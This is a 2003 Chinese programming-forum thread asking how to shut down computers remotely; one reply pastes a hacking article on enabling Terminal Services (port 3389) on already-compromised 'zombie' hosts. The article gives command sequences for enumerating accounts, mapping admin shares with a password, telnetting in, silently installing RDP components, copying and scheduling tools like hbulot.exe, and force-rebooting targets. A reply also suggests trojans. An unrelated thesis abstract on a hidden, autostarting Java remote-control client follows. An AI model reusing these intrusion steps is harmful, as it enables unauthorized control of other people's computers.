如何编程实现远程关机?

aliveforcode 2003-10-19 06:25:34
最好给出源码
...全文
431 2 打赏 收藏 转发到动态 举报
写回复
用AI写文章
2 条回复
切换为时间正序
请发表友善的回复…
发表回复
smallrascal 2003-10-20
  • 打赏
  • 举报
回复
完整的VB源代码
http://www.sijiqing.com/vbgood/download/code/simplyhack.zip
syman815 2003-10-19
  • 打赏
  • 举报
回复
实现远程关机的方法很多:
1、可以用远程控制工具,比如Windows2000自带的远程控制就是一项很好的工具!
2、也可以利用一些木马工具等!
我个人有以下想法仅供参考:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
网络攻击——终端服务(3389)篇
Windows2000终端服务由于使用简单、方便等特点,备受众多管理员喜爱,很多管理员都利用它作为远程管理的一个重要工具。而且在Windows平台发起DDOS攻击,也需要大量开了终端服务的肉鸡。然而,正是由于它使用简单、方便、不与当前用户产生一个交互式登录,可以在后台登录操作,它也受到了黑客的青睐。现在黑客比较流行做法是在成功入侵目标机器后想尽办法,不惜重启对方对方计算机来达到安装终端服务,其目的十分明确,就是方便自己进入进行操作。也正是这些原因,导致它的安全性倍受非议。
其实自输入法漏洞诞生以来,终端服务还没有出现什么大的漏洞,虽然输入法漏洞给无数管理员带来了安全隐患,但平心而论,这个漏洞还不能完完全全说是终端服务的错误,毕竟它也是受害者。
1. 如何有效地启动远程主机的终端服2. 务
得到了一台主机的管理员权限,但我们失望的发现这台主机并没有安装3389终端服务组件,是不是有些懊丧呢?别急,下面我们一起来探索一下远程开启3389的方法.首先我们应该了解3389终端服务,可以运行在什么系统下,个人了解,终端服务在MS的大部分产品中都可运行,如:winnt4/win2000server/win2000ADV-server/XP等.我们在以下的讨论中,是以win2000server和高级server为例的.(现在用的也最多).从上面的的介绍可以知道,2000专业版是不可以远程安装终端服务的,那我们就要首先来判断此主机是专业版还是服务器版,才能进入下一个环节.
我们可以先用对方所开帐户判断: c:\>letmein \\192.168.0.1 -all -d
num0= Administrator ()
num1= Guest ()
num2= IUSR_servername (Internet 来宾帐号 )
num3= IWAM_servername (启动 IIS 进程帐号)
num4= TsInternetUser (TsInternetUser)
一般情况num2/3/4这三个帐户都是2000server默认开启的.2000专业版默认是不开这些帐户的.我们也可以扫描对方开放的端口进一步确认:用扫描软件如:superscan3.exe扫描对方所开端口判断对方是否开启25,3372等2000server默认开启的端口.当然我们还可以使用一些工具,如:cmdinfo.zip 这2个东东可以获得本地或远程NT/2K主机的版本,系统路径,源盘路径,PACK版本,安装时间等一系列信息,一个图形界面,一个命令行.通过返回的信息就可以很清楚的了解对方主机情况.还有一些其他的方法来判断,如:从对方所开的服务来确定等,从上面的判断准确率还算高,别的就不一一说明了.如果你在以上步骤里发现对方主机并没有那3个帐户,默认端口也没开,或cmdinfo返回的信息对方是2000专业版,你就要放弃安装3389的计划了.
现在我们要进入下一环节:判断终端服务到底有没有安装?你也许要问:为什么还要判断啊?我扫描没有发现3389端口啊?这里就需要解释一下,如果装了终端服务组件,可能有哪几种情况扫描不到3389端口?
1)终端服务termservice在"管理工具"—>"服务"中被禁用.
2)终端服务连接所需的RDP协议在"管理工具"—>"终端服务配置"中被停用连接.
3)终端服务默认连接端口3389被人为的改变.
4)终端服务绑定的网络适配器不是外网的.
5)防火墙和端口过滤之类的问题.
其实,我们遇到最多的情况就是以上5种情况.现在开始判组件是否被安装.先与远程主机连接,映射远程主机C盘为本地Z盘
net use z: \\192.168.0.1\c$ "7788" /user:"administrator"
然后转到Z盘,检查 Z:\Documents and Settings\All Users\「开始」菜单\程序\管理工具> 里是否有 "终端服务管理器"和"终端服务配置"的快捷方式文件 如有已安装服务组件的会有,反之,没有(98% 人为故意删的可能性较小) 我们还可以在下一步telnet到对方主机后使用终端服务自带的命令进一步的核实.判断完毕,对方好像是没有安装终端服务组件,可以进入下一步: telnet登陆对方主机,准备安装服务组件.在这里,我强烈建议使用2000自带的telnet服务端登陆, 有回显,不容易出错.个人感觉使用它,一次成功的比例高很多.就算没有开,打开用完后再关掉就完了.
假如我们已开启对方23端口,登陆:C:\>telnet 192.168.0.1
进入后,再次检查终端组件是否安装: c:\>query user 这个工具需要安装终端服务.这样就进一步确定了组件体有没有被安装.如果返回:
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>w1 console 0 运行中 . 2002-1-12 22:5\\类似这样的信息,可能组件就已安装.
都清楚了,可以开始启动终端服务(开启3389)了.
一)服务器命令开3389
1) 检查INF文件的位置:C:\>dir c:\sysoc.inf /s
2)检查组件安装程序:C:\> dir c:\sysocmgr.* /s
3)这是建立无人参与的安装参数
c:\>echo [Components] > c:\wawa
c:\>echo TSEnable = on >> c:\wawa
4)//检查参数文件
c:\>type c:\wawa
[Components]
TSEnable = on
5)安装组件c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\wawa /q
以上这条命令没有加/R参数,主机在安装完后自动重起.如若加了/R参数主机就不会重起.如果一切正常的话,几分钟后对方主机将会离线,当它重新回来时,3389终端服务就已经开启.你就可以连上去了.
二)用脚本开3389
用rots.vbs开启终端服务,
说明cscript ROTS.vbs <目标IP><用户名><密码>[服务端口][自动重起选项]
格式:cscript.exe rots.vbs ip user userpassport/r
或者:cscript.exe rots.vbs ip user userpassport/fr
注意:脚本访问的是目标的135端口,如果目标135端口未开放,或者WMI服务关闭,那么脚本就没有用了。
三)用hbulot.exe开3389
1)C:\>net use \\ip\ipc$ “”/user:administrator
2)C:\>copy hbulot.exe \\ip\admin$
3)C:\>net time \\ip
4)C:\>at \\ip runtime hbulot.exe /r
四)用djxyxs.exe开3389
方法同上,志不过不需要另外的命令来重启计算机,它自身就具备重启功能
五)注册表开3389
上传3389.reg到目标主机,然后运行
C:\>at \\ip runtime regedit.ext /s 3389.reg
C:\>psshutdown.exe -f \\ip
基于JAVA CS远程监控系统软件的实现(源代码+WORD论文文档论文) 基于JAVA C/S远程监控系统软件的实现 摘 要 近年来,网络技术的不断发展,为远程监控技术的发展创造了条件。远程监控系统软件越来越受到人们的重视,其实用性也毋庸质疑。基于JAVA C/S远程监控系统软件突破了空间的限制,使用者不用亲临,在自己的电脑面前就能轻松的实现对被监控端机器的监控。本系统采用Java网络编程和Java图形编程实现。笔者在开发过程中将网络技术与远程监控理论基础相结合,实现了以下功能:能连续获得被监控端机器屏幕变化;实现被监控端硬盘文件的上传、下载;实现对鼠标、键盘的模拟;实现在远程机器上执行任意DOS命令;远程关机、远程重启计算机,方便了用户监视和操作被监控端机器。本系统从系统需求分析、概要设计、详细设计到具体的编码实现和后期的代码优化、功能测试都严格遵循了软件工程的思想。 关键词:远程监控;Java Robot;屏幕截取;Java Socket 系统需求分析及理论基础 2.1 系统需求分析 2.1.1 系统功能需求 1.连续获得被控端机器屏幕变化。 2.实现被控端硬盘文件的上传、下载。 3.实现对鼠标、键盘的模拟。 4.实现在被控端机器上执行任意DOS命令。 5.远程关机、远程重启计算机。 2.1.2 其他需求 1.系统实用,界面操作简便。 2.被监控端自动隐藏运行。 被监控端将随电脑启动而自动运行,运行时默认无任何可见界面。 2.2 系统开发原理及关键技术 2.2.1 系统开发原理 本系统是利用类java.awt.robot中的屏幕截取和鼠标、键盘自动控制功能,然后加上网络传输功能来完成来完成截屏和远程控制的。 2.2.2 系统运行概述 1.启动被监控端,打开指定的UDP端口号。用于读取命令。 2.被监控端读取命令(命令格式为ordername:port)ordername为命令名字,port为主控端打开的TCP端口。 3.接到主控端连接后,被监控端就对当前用户的桌面采用屏幕截取,然后发送给主控端。依被监控端设计的不同,可以设定屏幕截取的时间间隔,时间间隔短一点就可以获得连续屏幕变化了。 4.主控端在画布上对鼠标、键盘事件进行监听,被监控端重演主控端上的事件 5.主控端和被监控端读取和发送数据,分别来实现文件上传和下载。 6.在被监控端实现DOS命令的执行。 2.2.3 系统的关键技术 系统使用的关键技术就是Java网络编程和Java图形编程。用Java网络编程实现主控端和被监控端的通讯(命令收发、数据传送),用Java图形编程完成主控端控制界面的编写。具体应用如下: 1.实现主控端(服务器)与被监控端(客户端)之间的通讯。 ——用Java Socket来实现。 2.用Java采集事件,封装成消息,用于发送。 ——在主控端机器上采集事件(一般只不过是键盘和鼠标的事件),然后封装成消息类传输到被监控端。 3.在被监控端上重演主控端的动作事件。 ——在被监控端运行client端,接收消息,如果主控端有请求操作的消息,用Robot截下当前屏幕,传给主控端,主控端显示被监控端的屏幕,是一个位图;然后接收在这个位图上的鼠标事件和键盘事件,并把鼠标位置(位图上的坐标换算成对应的屏幕上的坐标)和键值送到被监控端上,在被监控端上重演同样的事件。 2.3 系统的开发平台 JDK1.5.0,Eclipse3.1,Windows XP Professional 2.3.1 Eclipse介绍 Eclipse是一种可扩展的开放源代码IDE。2001年11月,IBM公司捐出价值4,000万美元的源代码组建了Eclipse联盟,并由该联盟负责这种工具的后续开发。集成开发环境(IDE)经常将其应用范围限定在“开发、构建和调试”的周期之中。为了帮助集成开发环境 (IDE)克服目前的局限性,业界厂商合作创建了Eclipse平台。Eclipse允许在同一IDE中集成来自不同供应商的工具,并实现了工具之间的互操作性,从而显著改

9,506

社区成员

发帖
与我相关
我的任务
社区描述
Windows专区 安全技术/病毒
社区管理员
  • 安全技术/病毒社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧